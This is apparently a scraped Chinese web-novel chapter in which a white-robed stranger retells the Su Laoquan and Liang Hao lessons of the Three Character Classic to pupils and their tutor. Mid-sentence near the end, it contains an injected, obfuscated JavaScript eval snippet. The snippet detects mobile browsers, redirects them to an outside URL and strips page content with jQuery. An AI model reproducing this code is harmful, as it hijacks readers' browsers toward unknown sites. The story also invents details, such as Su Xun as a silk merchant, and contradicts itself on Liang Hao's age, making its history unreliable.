楔子·清明劝学


    清明时节，洛阳城南“劝学亭”畔，老塾师杜夫子拄着拐杖，对一群垂髫童子训诫：


    “……苏老泉，二十七，始发奋，读书籍。彼既老，犹悔迟。尔小生，宜早思！若梁灏，八十二，对大廷，魁多士。彼既成，众称异。尔小生，宜立志！尔等黄口小儿，正当早立志、早用功，莫待老来悔迟！”


    童子们手捧《劝学诗》，个个苦脸。有个叫青哥儿的，约莫八九岁，嘟囔道：“先生，我爹说，让我学算账，将来接铺子……”


    杜夫子拐杖一戳地：“糊涂！万般皆下品，惟有读书高！你爹开酱铺，能高到哪里去？”


    正说着，亭外传来清越笛声，吹的正是《杏花天》。众人望去，见柳树下坐着个白衣人，正教几个街童折柳吹笛。白衣人斗笠是细柳与桃枝混编，檐边缀着几朵纸扎小白花。白衣是细麻所制，洗得泛白，袖口用青线绣着柳叶纹。木剑斜倚树根，剑穗是褪色的五色丝绦打成柳环结。面上蒙着本色棉纱，只露出一双含笑的眼睛，正将一个柳笛递给个总角小童。


    杜夫子皱眉：“清明时节，当思先贤，岂可嬉游吹笛？”


    白衣人放下柳笛，起身一揖：“夫子教训得是。在下教孩子们折柳，正是为思先贤——柳者，留也，留先贤之德，留春时之思。”


    “巧言令色！”杜夫子哼道，“你既教人思先贤，可知苏老泉、梁灏故事？”


    “略知一二。”


    “那便说来听听，也让这些蒙童知道，何为‘迟立志’！”


    一、 苏明允的醒悟


    白衣人邀童子们围坐柳下，从怀中取出个布包，展开是几把旧算盘。


    “先说苏明允。此人年少时，不爱读书，喜游历。二十多岁，已是蜀中绸缎行有名的‘苏算盘’，账目过手，分文不差。”


    白衣人拨动一把算盘，噼啪脆响。


    “二十七岁那年，他参加进士试，未中。” “回乡后，见幼时所读《论语》，已蒙尘。他拂去灰尘，重新翻开。回想自己这些年，除账本之外，竟无所得。”


    白衣人又拿起一本破旧的《千字文》：“他买来蒙书，从头学起。伙计笑他：‘东家，您这把年纪，还想考状元？’他说：‘不考状元，只是想明白，人活一世，除了算账赚钱，还能有什么。’”


    杜夫子捻须：“这便是‘始发奋’。”


    “是发奋。”白衣人点头，“他白天管铺子，夜里点灯读书。前后六七年，读通经史百家，文章自成一家。后来两个儿子苏轼、苏辙，皆成大家。人称‘一门三苏’。”


    “苏明允一生，并未考中进士，官至主簿而已。” “但后世论宋文，必称三苏。人说他是大器晚成，他自己却说：二十七岁那年落第后，才晓得人活着，不能只活个算盘。”


    白衣人将算盘递给青哥儿：“你爹让你学算账，没错。但算账之余，也可读书。读书不为功名，为明白——明白人活着，除了酱铺账本，还有什么。”


    二、梁灏的拐杖


    白衣人又取出一根磨得光润的竹杖，杖头雕着个寿星。


    “再说梁灏。此人乃郓州须城人氏，少有神童之誉，十二岁中秀才，人皆道必中状元。弱冠之年，初举进士，不中第，留阙下，献疏论科举之弊。”


    孩子们哗然：“他敢给皇帝上书？”


    “正是。”白衣人拄杖起身，学着老态，“那疏中说：‘陛下设科取士，奈何所取不出于诗赋策论？简于心者援而陟之，咈于心者推而黜之，宁无滥陟枉黜之失耶？’”


    杜夫子捻须道：“此疏所言，切中时弊。只是……他那时多大年纪？”


    “二十出头。”白衣人笑道，“疏上，不报。梁灏便留在京师，发愤读书。过了两年，雍熙二年，再举进士，廷试，太宗皇帝亲擢甲科。”


    “这就中了？”青哥儿算道，“那也不过二十几岁！”


    “正是。梁灏中状元那年，二十有三。”


    孩子们哗然更甚：“可《三字经》里明明说……”


    “说‘若梁灏，八十二，对大廷，魁多士’？”白衣人摇头，“那是后世讹传。梁灏四十二岁那年，以翰林学士知开封府，正当盛年，大有可为，却暴疾卒于任上。”


    众人皆怔。杜夫子道：“如此说来，《三字经》误矣？”


    白衣人未答，只将竹杖递给巷尾拾荒的老秦头——那老儿六十多了，每日来亭外听讲，从不识字。


    “老丈，您说，这讹传是因何而起？”


    老秦头摩挲竹杖，半晌道：“怕是……有人想给老不中的举子们，留个念想罢。”


    白衣人拊掌：“正是！明人《遁斋闲览》载，梁灏有谢启云：‘白首穷经，少伏生之八岁；青云得路，多太公之二年。’——明明是后人伪作，却传了数百年。”


    他环顾众人：“那为何偏要把他编成八十二岁？”


    亭中寂然。


    白衣人自答：“因为天下读书人，太多老于场屋者。他们需要一个念想——只要考下去，终有出头之日。这念想，比真状元梁灏，更合人意。”


    他看向老秦头：“老丈，若您十八岁进学，考到六十仍不中，还考么？”


    老秦头笑了：“考甚？我连字都不识。”


    “那您这一辈子，跟甚较劲？”


    老秦头想了想，指着竹杖：“跟这根棍子较劲罢。年轻时拄它嫌早，老了离了它又不行。”


    白衣人颔首：“正是。梁灏较劲的不是功名，是那个‘为何读书’。他二十出头就中了，那是真才学；可世人偏要让他八十才中，那是真念想。念想这东西，有时比才学更要紧。”


    他将竹杖收回，轻叩地面：“今日说这些，不是要驳《三字经》。那书里的话，劝人向学，是好意。只是你们记住——世上传言，有真状元，也有假状元。真状元在史书里，假状元在人心里。”


    孩子们似懂非懂。青哥儿问：“那咱们该信哪个？”


    白衣人笑道：“都信。信真状元，是知史；信念想，是知人。知史又知人，才算真明白。”


    夕阳西下，他把竹杖递给那发问的孩子：“去，还给巷尾老丈。跟他说——这根棍子，他拄得，你也拄得；只是你拄它的时候，要晓得自己较的是甚劲。”


    青哥儿捧着竹杖，飞奔而去。


    三、清明的柳笛


    日头渐高，柳絮纷飞。白衣人教孩子们将柳笛凑唇，齐齐吹响。清越笛声里，他问：“杜夫子，您教‘宜早思’‘宜立志’，敢问童子们，思什么？立什么志？”


    杜夫子肃然：“自然思圣贤之道，立经世之志！”


    “若思不明白呢？”


    “那便勤学苦读，终有明白之日！”


    “若立了志，达不成呢？”


    “那便如梁灏，老而弥坚！”


    白衣人摘下一片柳叶，置于唇边，吹出呜咽之音。


    “苏老泉二十七岁前，思的是算盘，立的是商志。二十七岁那年，他始发愤读书，而举进士不中，遂焚所为文，闭户益读书。此事《宋史》有载。他所思者，从谋生转为求道；所立者，从家业转为文章。”


    他顿了顿，看向杜夫子：“至于梁灏，前日已说，实为二十三岁状元，并非八十二岁及第。但《三字经》所传，自有其教化之意——劝人向学，老而不辍。”


    清明之日，祭祖追远，所以思先人之志也。然先人之志，岂必同于子孙之志哉？昔苏老泉之父序，富而好施，未尝预知其子文章冠世，列名八家；若梁灏之父，使其知子二十有三登科，早耀龙门，则夙愿尽偿，亦可以无憾矣。


    他折下一段柳枝，编成环，戴在青哥儿头上。


    “清明折柳，是为留春。读书求学，各人有各人的时节。有人早成，有人晚达，皆不足为奇。只要那‘思’是真的，那‘志’是你自己的，便对得起先人，也对得起自己。”


    四、 酱铺的账本


    三日后，杜夫子路过青哥儿家的“陈记酱铺”，见柜台里，青哥儿一手拨算盘，一手翻着本《千家诗》。算盘声脆，诵诗声稚，竟有种奇异的和谐。


    杜夫子进去，青哥儿忙起身作揖：“先生。”


    “你……还在读诗？”


    “嗯。白日帮爹看铺，夜里读诗。”青哥儿眼睛亮亮的，“苏老泉能白天管铺子夜里读书，我也能。”


    “读诗为何？”


    “爹说，算账能算清钱财，读诗能算清人心。咱们酱铺，既要钱财清，也要人心明。”


    杜夫子愣住，半晌问：“这话……谁教的？”


    “白衣先生前日来买酱，跟我爹说的。”青哥儿从柜台下拿出一卷纸，展开是幅墨柳图，旁有题字：


    “苏泉廿七始读书，非悔少时不读书，乃悟人生不止数。


    梁灏八二方中第，非矜老来能中第，乃明读书不在第。


    清明柳笛年年吹，莫道立志有早迟。


    但得心中一点明，七岁立志不为早，百岁立志不为迟。”


    杜夫子凝视良久，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209037|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    忽拄杖长叹：“老朽教了一辈子‘宜早思’‘宜立志’，却不知思可转，志可移。迟者非迟，乃真思真志也。”


    他转身出铺，见巷口柳树下，那白衣人正教老秦头认字。老秦头六十有三，握笔的手颤巍巍，写的第一个字是“人”。


    杜夫子上前，深揖：“先生前日之教，老夫受教。敢问先生，老朽六十有三，尚可立志否？”


    白衣人扶起他，从柳枝上摘下一片新叶：“夫子请看，此叶新生。柳树已百岁，年年发新叶。树不因老而不发，人不因老而不立。夫子之志在教，教了一辈子，今日可立新志——教人立真志。”


    尾声·柳笛新声


    此后，劝学亭畔的蒙馆改了规矩。


    杜夫子不再催童子“早思早立”，而是每有新生，必问三句：“你思何事？此思真否？此志是你之志否？”若答不出，便让童子去市井走三日，看贩夫走卒所思所立。


    他自撰一联，悬于亭柱：


    苏泉廿七非悔迟，乃悟人生不止数


    梁灏八二非矜老，乃明读书不在第


    青哥儿后来接管酱铺，账目清明，童叟无欺。铺子里总摆着几本诗书，他说：“酱有咸淡，诗有甘苦，皆是人间味。”


    老秦头学了三年，能读家书，能写账目。他说：“六十学字，不为晚，只为明——明白自己活了一辈子，到底是个什么人。”


    而那个教人折柳吹笛的白衣人，清明过后便无踪影。但每年清明，劝学亭柳树上，总会挂着几支新削的柳笛。童子们吹响时，仿佛能听见那清润的声音在说：


    “苏老泉，二十七，始发奋，非悔迟，是悟了。


    若梁灏，八十二，对大廷，非矜异，是明了。


    尔小生，宜早思，思要真，真思何时都不迟。


    尔小生，宜立志，志要己，己志老幼皆可立。


    清明柳笛年年新，莫道立志有早春——”


    杜夫子八十寿辰时，童子们为他折柳编冠。他戴冠而笑：“老朽六十三岁重立志，立志教人立真志。此志立得迟，立得真。”


    真，便不迟。


    本章诫世


    一、 立志真义训


    - 苏老泉，二十七。始发奋，读书籍。彼既老，犹悔迟。尔小生，宜早思。若梁灏，八十二。对大廷，魁多士。彼既成，众称异。尔小生，宜立志


    - 破解法：求学者，自问“立志为何？为早，还是为真？苏老泉悔迟，悔的是迟读书，还是迟悟人生？梁灏称异，异的是老中第，还是老明道？可只求早，不求真？”


    二、 迟立二悟


    - 苏老泉之悟——二十七岁始发奋，非悔少年不读书，乃悟人生不止算盘账本。立志不在早，在真悟


    - 梁灏之悟——八十二岁方中第，非矜老迈能登科，乃明读书不在功名。立志不在成，在明道


    - 二明：立志宜早，但真志不嫌迟。苏老泉迟在二十七，悟在荒坟前；梁灏迟在八十二，悟在金殿上。迟者非迟，乃真思真悟真明。若未悟而早立，是盲志；已悟而迟立，是真志


    三、 柳笛大道


    - 深层隐喻：人生如清明，祭祖思先。先人之志，是柳树旧枝；我之志，是柳树新芽。旧枝可参，新芽当发。苏老泉折旧枝（商志）发新芽（文志），梁灏经寒暑（科举）绽晚花（悟道）。立志如折柳，柳条年年新，志亦可岁岁新。莫囚于旧枝，莫误于早迟


    - 终极指向：世人劝立志，易入歧途：重早不重真，重成不重明，重迹不重心。苏老泉若不悟，终生富贾；梁灏若不明，老死科场。迟立何妨？只要立的是真志、己志、明志。真志，七岁不早，百岁不迟


    清明志偈：


    清明洛水劝学亭，杜师谆谆勉童蒙。


    苏泉廿七始发愤，梁灏弱冠已登瀛。


    古来贤达各有道，岂因早晚论前程？


    但问真心向何处，真志既立山可平。


    亭前桃李年年发，春风早晚俱成英。


    后世叹：


    苏老泉，二十七，始发奋，非悔迟。


    若梁灏，八十二，魁多士，非矜异。


    杜师要童早立志，白衣说志在真明。


    从此立志先问心，真心何论老与幼。


    正是：


    清明洛阳柳飞絮，劝学亭中说立志。


    苏泉梁灏为楷模，要童早思早用功。


    白衣柳下说故事，迟立非迟乃真悟。


    从此立志不在早，在真在己在明白。